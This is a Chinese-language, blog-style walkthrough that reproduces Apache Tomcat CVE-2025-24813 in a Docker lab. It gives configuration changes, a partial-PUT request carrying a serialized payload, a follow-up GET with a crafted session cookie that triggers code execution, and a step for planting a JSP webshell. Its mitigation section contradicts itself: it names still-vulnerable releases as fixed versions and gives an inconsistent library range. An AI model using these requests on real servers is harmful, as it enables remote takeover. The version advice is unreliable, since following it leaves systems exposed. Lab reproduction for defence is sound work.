Apache Tomcat 远程代码执行漏洞(CVE-2025-24813) 超详细!
一、漏洞概述
远程代码执行漏洞(CVE-2025-24813)源于 Apache Tomcat 的反序列化机制未对用户输入进行严格验证,攻击者可通过构造恶意序列化对象绕过安全限制,处理部分 PUT 请求时,攻击者利用临时文件路径处理中的缺陷(将路径分隔符"/"替换为“.”),通过特定条件(如启用默认 servlet 的写入功能)实现远程代码执行并控制服务器。
二、影响版本
Tomcat 11.0.0-M1 至 11.0.2
Tomcat 10.1.0-M1 至 10.1.34
Tomcat 9.0.0.M1 至 9.0.98
三、利用条件
3.1、DefaultServlet 写入功能显式启用
Tomcat 默认禁用文件上传功能,需在web.xml中手动配置 readonly=false 参数方可开启文件写入权限。
3.2、Partial PUT 请求处理机制暴露风险
系统默认开启对分块传输(Partial PUT)的支持,攻击者可构造包含恶意序列化对象的请求载荷,利用临时文件存储机制将会话数据持久化至服务器磁盘,为后续反序列化攻击提供载体。
3.3、文件会话持久化配置缺陷
当应用采用Tomcat的FileStore会话持久化方案且未修改默认存储路径(${CATALINA_HOME}/work)时,攻击者可通过路径遍历或文件覆盖手法精准定位会话文件,需在context.xml中进行配置。
3.4、脆弱依赖库引入攻击链
业务系统中若存在包含高危反序列化链的组件(如 Commons Collections 3.2.1 等),攻击者可通过加载恶意序列化数据触发远程代码执行。实际风险等级与业务代码的依赖库版本及防护措施直接相关。
四、复现过程
4.1、本次漏洞复现选择Tomcat9.0.98+JDK8,使用Docker进行环境搭建
4.1.1、拉取指定版本的Tomcat镜像
docker pull tomcat:9.0.98-jdk8
4.1.2、运行Tomcat容器,命名为tomcat9并将容器端口映射到宿主机
docker run -d --name tomcat9 -p 8899:8080 tomcat:9.0.98-jdk8
4.1.3、修复默认页面(当前访问是404),Tomcat 9镜像默认webapps目录为空,需从webapps.dist 复制默认应用
#进入容器终端
docker exec -it tomcat9 /bin/bash
#复制默认应用到 webapps 目录
cp -r webapps.dist/* webapps/
#退出容器
exit
4.2、访问本地8899端口出现Tomcat页面即搭建成功(默认端口8080)
4.3、记住你的容器ID或名称(执行命令时ID和名称效果一致),执行以下命令进入到容器终端
docker exec -it tomcat9 /bin/bash
4.4、进入以下目录创建一个名为lib的文件夹,用于存放高危反序列化链的组件
/usr/local/tomcat/webapps/ROOT/WEB-INF
4.5、下载一个名为commons-collections-3.2.1.jar的反序列化链组件
4.6、重开一个页面进入到宿主机的命令行,执行以下命令,用于将本地的commons-collections-3.2.1.jar文件导入至Tomcat的容器中
docker cp /你自己/的/路径/commons-collections-3.2.1.jar 容器ID:/usr/local/tomcat/webapps/ROOT/WEB-INF/lib
4.7、将context.xml和web.xml导出到本地,命令和上一步的相反。
4.8、打开context.xml添加以下代码,用于开启File会话存储
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
Manager>
4.9、打开web.xml添加以下代码,用于启用写入功能
<init-param>
<param-name>readonlyparam-name>
<param-value>falseparam-value>
init-param>
4.10、回到Tomcat容器终端,删除context.xml和web.xml
4.11、回到宿主机终端,将修改好的两个xml文件传回容器到以下目录
/usr/local/tomcat/conf
4.12、Payload-1,注意Length长度要和Range分块保持一致且要大于恶意代码的长度
PUT /666/session HTTP/1.1
Host: liang.com:8899
Content-Length: 3677
Content-Range: bytes 0-3677/4200
{{恶意代码}}
4.13、使用Yakit工具生成恶意序列化代码,命令如下,意思是进入到ROOT目录并执行ls命令,将结果写入到1.txt文件中
cd /usr/local/tomcat/webapps/ROOT && ls > 1.txt
4.14、将恶意序列化代码与Payload-1进行结合,并发送请求,注意发包时要进行Base64解码,参考下图。
4.15、进入到以下路径查看文件列表,发包后比发包前多了一个.666.session的临时文件(快速进入或提前进入,否则文件会消失),名称是将请求URL中的’/‘,替换成了’.‘
/usr/local/tomcat/work/Catalina/localhost/ROOT
4.16、Payload-2,直接发送请求(注意:发送完Payload-1尽量快些发送Payload-2,不然.666.session文件消失则无法利用),执行完成后报了一个状态码500的错误,实际文件已经写入到了1.txt,使用浏览器进行访问可以看到结果
GET / HTTP/1.1
Host: liang.com:8899
Cookie: JSESSIONID=.666
4.17、为了方便后续操作,生成恶意代码时可以使用命令写入JSP木马并通过蚁剑实现对该木马的连接与管理
cd /usr/local/tomcat/webapps/ROOT && echo '这里写JSP木马' > end.jsp
漏洞防护方案总结
1. 版本升级
官方修复版本升级:
将 Apache Tomcat 升级至安全版本(Tomcat 11.0.2+、10.1.34+、9.0.98+),以修复反序列化漏洞及 PUT 请求处理缺陷
2. 配置加固
禁用 DefaultServlet 写入功能:
在 web.xml 中确保 readonly 参数设置为 true(默认值),禁止通过默认 Servlet 上传或修改文件,阻断攻击者写入恶意会话文件的关键路径
关闭 Partial PUT 请求支持:
若业务无需分块传输功能,可在 Tomcat 配置中禁用 Partial PUT 请求,避免攻击者利用临时文件路径处理缺陷进行数据泄露或注入
调整会话持久化路径:
避免使用默认会话存储路径(${CATALINA_HOME}/work),自定义高权限目录并限制访问权限,防止攻击者通过路径遍历定位敏感文件
3. 依赖库管理
反序列化漏洞链阻断:
审查并移除存在高危反序列化链的依赖库(如 Commons Collections ≤3.1),升级至无漏洞版本或使用安全替代组件
4. 监控与响应
异常流量监控:
针对 PUT 请求、反序列化操作及会话文件读写行为部署实时监控,结合规则引擎识别异常攻击特征(如恶意序列化载荷、路径遍历尝试)
漏洞修复验证:
通过安全测试验证 Tomcat 版本升级后的反序列化防护有效性,并检查 Partial PUT 请求处理逻辑是否已修复